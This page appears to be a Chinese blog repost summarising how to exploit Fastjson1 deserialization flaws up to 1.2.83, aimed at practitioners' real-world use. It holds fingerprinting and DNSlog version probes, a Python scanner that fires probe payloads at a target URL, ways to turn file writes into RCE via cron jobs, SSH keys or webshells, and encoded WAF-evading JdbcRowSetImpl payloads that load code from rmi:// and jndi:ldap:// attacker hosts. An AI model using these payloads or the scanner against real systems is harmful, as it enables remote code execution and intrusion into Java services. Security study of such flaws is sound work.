三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

0x01 简介

Fastjson1 全版本反序列化漏洞利用体系,讲解反序列化核心流程、parse 与 parseObject 行为差异,汇总目标探测手段,包含版本识别、依赖探测、期望类判断以及各类 WAF 绕过技巧。重点剖析 1.2.47、1.2.68、1.2.80、1.2.83 经典绕过原理,整理 JDBC、commons-io 读写文件等多条利用链,阐述写文件转化 RCE 落地思路。配套各类 Payload 思路与开源工具清单,解决现有资料碎片化问题,便于安全从业者学习、复盘与实战落地。

整理 Fastjson1 全版本利用要点——反序列化流程、版本/依赖/期望类探测、WAF 绕过,以及 1.2.47 / 68 / 80 / 83 关键绕过与各利用链;并附配套工具,方便复习与落地。

现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!

完整文章:Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

末尾可领取挖洞资料/加圈子 #渗透安全HackTwo

0x02 正文详情

反序列化流程

先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路?

存在无参构造

  • Fastjson 首先调用无参构造函数new ClassName())实例化对象

  • 解析 JSON 中的键值对

  • 通过反射调用该字段对应的SettersetFieldName(...))把值注入进去

  • 此时有参构造会被忽略

不存在无参构造

  • Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造

  • 从 JSON 里抽出对应构造参数的值

  • 调用有参构造函数new ClassName(arg1, arg2...))实例化对象

  • 如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter

使用了@JSONCreator 注解

如果在构造函数(或静态工厂方法)上标了@JSONCreator,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。

所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。

KCON2022 里也有一张比较直观的图:

parse和parseObject

更细的源码分析见:

https://1diot9.github.io/2025/12/04/Fastjson%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/

这里先记结论,后面写 payload 时不容易绕晕:

  • parse

    和多参parseObject(存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图:

  • 单参parseObject会额外触发所有 public getter

  • parse

    反序列化且不指定类型时,可以通过$ref触发 getter

  • 默认只能触发 public 方法,除非开启了Feature.SupportNonPublicField

写文件如何 RCE

Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考:

https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

大致可以概括成下面几类:

1、计划任务 / sshkey,通常需要 root 2、写 jsp 等 webshell,不适用于纯 jar 部署 3、写 jar 覆盖 jre/lib,最经典的是覆盖 charsets.jar;没法写二进制时,可以考虑 ascii jar:https://github.com/c0ny1/ascii-jar 4、写 jre classes,需要知道并创建目录,还要有入口点 5、写 classes + SPI,同样需要知道目录并能创建目录 6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景)

其中方法 3~5 基本只在 JDK8 下好用。

探测

Fastjson 判断

1、根据报错信息判断

故意破坏 JSON,看报错回显:

{"age":20,"name":"Bob"

也可以用@type探一下 AutoType 是否开启:

{"@type":"whatever"}

2、根据解析变化判断

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}{"ext":"blue","name":{"$ref":"$.ext"}}

3、DNS 请求

不出网时,也可以根据响应时间是否变长来间接判断:

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}

4、区别 Jackson

// 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会

{"age":20,"name":"Bob","test":1} // jackson 不支持单引号作为界定符 {"age":20,'name':'Bob'} // jackson 可以使用注释符/*#,fastjson 会报错,fastjson的注释符是 // { "age":20, "name":'Bob' }/* #aaaa // jackson 会丢失精度 { "age":20.111111111111111111111111111, "name":'Bob' } 5、区别 Gson // 浮点类型精度丢失 {a:1.111111111111111111111111111} // 注释符 #\r\n{a:1}

6、区别 org.json

// 特殊字符{a:'\r'}

版本探测

参考:

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA

1、AutoType 探测​​​​​​​

{"xxx":{"@type":"java.lang.Class","val":""}} {"xxx":{"@type":"Random.String"}}

开启 AutoType 时:payload1 报错,payload2 不报错

autoType is not support. java.lang.Class

未开启 AutoType 时:payload1 不报错,payload2 报错

autoType is not support. Random.String

2、AutoCloseable 精确探测​​​​​​​

{ "@type": "java.lang.AutoCloseable"

注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。

3、1.2.83 具体探测

{"xxx":{"@type":"Test.TestException"}}

只有 1.2.83 时不报错。

4、dnslog 探测大致版本

// <=1.2.47 [ { "@type": "java.lang.Class", "val": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "aaa.xxxx.ceye.io" } } ] // <=1.2.68 [ { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "bbb.n41tma.ceye.io" } } ] // <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求 [ { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ccc.4fhgzj.dnslog.cn" } } }, { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ddd.4fhgzj.dnslog.cn" } } } ]

5、不出网探测:根据响应是 500 还是正常判断

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA
【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} 【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" } } 【不报错】1.2.24 【报错】1.2.25-1.2.83 {"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83

依赖探测

1、Character 转换报错​​​​​​​

{ "x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class", "val": "org.springframework.web.bind.annotation.RequestMapping" }}

类存在时会报can not cast,不存在则往往是No message available

一些相关依赖类:

org.springframework.web.bind.annotation.RequestMapping //SpringBoot org.apache.catalina.startup.Tomcat //Tomcat groovy.lang.GroovyShell //Groovy - 1.2.80 com.mchange.v2.c3p0.DataSources //C3P0 org.apache.ibatis.datasource.unpooled.UnpooledDataSource //mybatis org.h2.jdbcx.JdbcDataSource //h2 com.mysql.jdbc.Buffer //mysql-jdbc-5 com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6 com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8 jdk.nashorn.tools.Shell //JDK8 java.net.http.HttpClient //JDK11 com.sun.org.apache.bcel.internal.util.ClassLoader // <= jdk8u251 org.apache.ibatis.type.Alias //Mybatis org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4 org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0 org.apache.commons.io.ByteOrderMark //commons-io-通用类,不确定版本 org.apache.commons.io.Java7Support //commons-io-2.5独有 org.apache.commons.io.IOIndexedException //commons-io-2.7独有 org.apache.commons.io.file.Counters //commons-io-2.7-2.8独有 org.apache.commons.io.FileSystem //commons-io-2.7独有 org.apache.commons.io.file.PathUtils //commons-io-2.7独有 org.apache.commons.io.function.IOConsumer //commons-io-2.7独有 org.aspectj.ajde.Ajde //aspectjtools com.fasterxml.jackson.core.exc.InputCoercionException //jackson org.python.antlr.ParseException //jython org.postgresql.jdbc.PgConnection //postgre

配套脚本:

import requests import os def jar_scanner(url: str, timeout: int = 10) -> list: """ 扫描目标URL的fastjson依赖库 Args: url: 目标URL timeout: 请求超时时间(秒) Returns: list: 检测到的依赖列表 """ base_dir = os.path.dirname(os.path.abspath(__file__)) jar_list_path = os.path.join(base_dir, "poc", "jarList.txt") jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json") # 读取jarScan.json模板(畸形JSON,直接读取文本) with open(jar_scan_path, "r", encoding="utf-8") as f: poc_template = f.read() # 读取jarList.txt with open(jar_list_path, "r", encoding="utf-8") as f: lines = f.readlines() detected_jars = [] for line in lines: line = line.strip() if not line or "//" not in line: continue # 按 // 划分,获取类名和依赖说明 parts = line.split("//") clazz = parts[0].strip() description = parts[1].strip() if len(parts) > 1 else "" # 替换POC模板中的${clazz} poc_data = poc_template.replace("${clazz}", clazz) try: # 发送POST请求,使用data=发送原始数据 response = requests.post( url, data=poc_data, headers={"Content-Type": "application/json"}, timeout=timeout ) # 检查响应中是否包含 "can not cast to char" if "can not cast to char" in response.text: result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m" print(result) detected_jars.append({ "class": clazz, "description": description, "line": line.strip() }) else: print(f"[-] 未检测到: {description} ({clazz})") except requests.exceptions.Timeout: print(f"[!] 请求超时: {clazz}") except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {clazz} - {e}") except Exception as e: print(f"[!] 异常: {clazz} - {e}") return detected_jars if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python main.py <target_url>") print("Example: python main.py http://example.com/api") sys.exit(1) target_url = sys.argv[1] print(f"[*] 开始扫描目标: {target_url}") print("=" * 60) results = jar_scanner(target_url) print("=" * 60) print(f"[*] 扫描完成,共发现 {len(results)} 个依赖")

2、dnslog

{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}}, "country":"x.l56y7u6g.dnslog.pw" }} }

我本地试了好几次一直不行:

判断是否存在期望类

https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww

黑盒里经常会碰到:入口到底是JSON.parse(json),还是JSON.parseObject(json, Xxx.class)/ Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。

像下面这种写法,反序列化时就带着期望类:

JSONObject.parseObject(payload, Test.class)

Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测:

{"@type":"com.alibaba.fastjson.support.geo.Feature"}

例如原始请求:

{"username":"admin","password":"123456"}

改成:

{ "@type": "com.alibaba.fastjson.support.geo.Feature", "username": "admin", "password": "123456" }

如果原参数是数组,可以写成:

[ { "@type": "com.alibaba.fastjson.support.geo.Feature", "username": "admin", "password": "123456" } ]

报错→ 该反序列化点存在期望类。

注意:com.alibaba.fastjson.support.geo.Feature是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。

还有一个更抽象一点的写法:

{{}:{}}

结合原参数:

{ {}: {}, "username": "admin", "password": "123456" }

若存在期望类,且期望类型不是Map及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了:

{ "test": { { {}: {} }: "" }, "username": "admin", "password": "123456" } ​

存在期望类时,利用上会多两道限制:

1、靠 getter 触发的 payload,大多数打不起来
2、$ref引用基本用不了——结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用)

后文「小技巧」里的java.util.Currency,就是针对「有期望类还想触发 getter」的一种绕法。

WAF 绕过

Unicode / hex 编码:

{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}

多个逗号:

{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true }

_-绕过:

Fastjson 解析 JSON 字段 key 时,会把_-替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。

0x03 总结

完成版文章请看:Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总

← 返回列表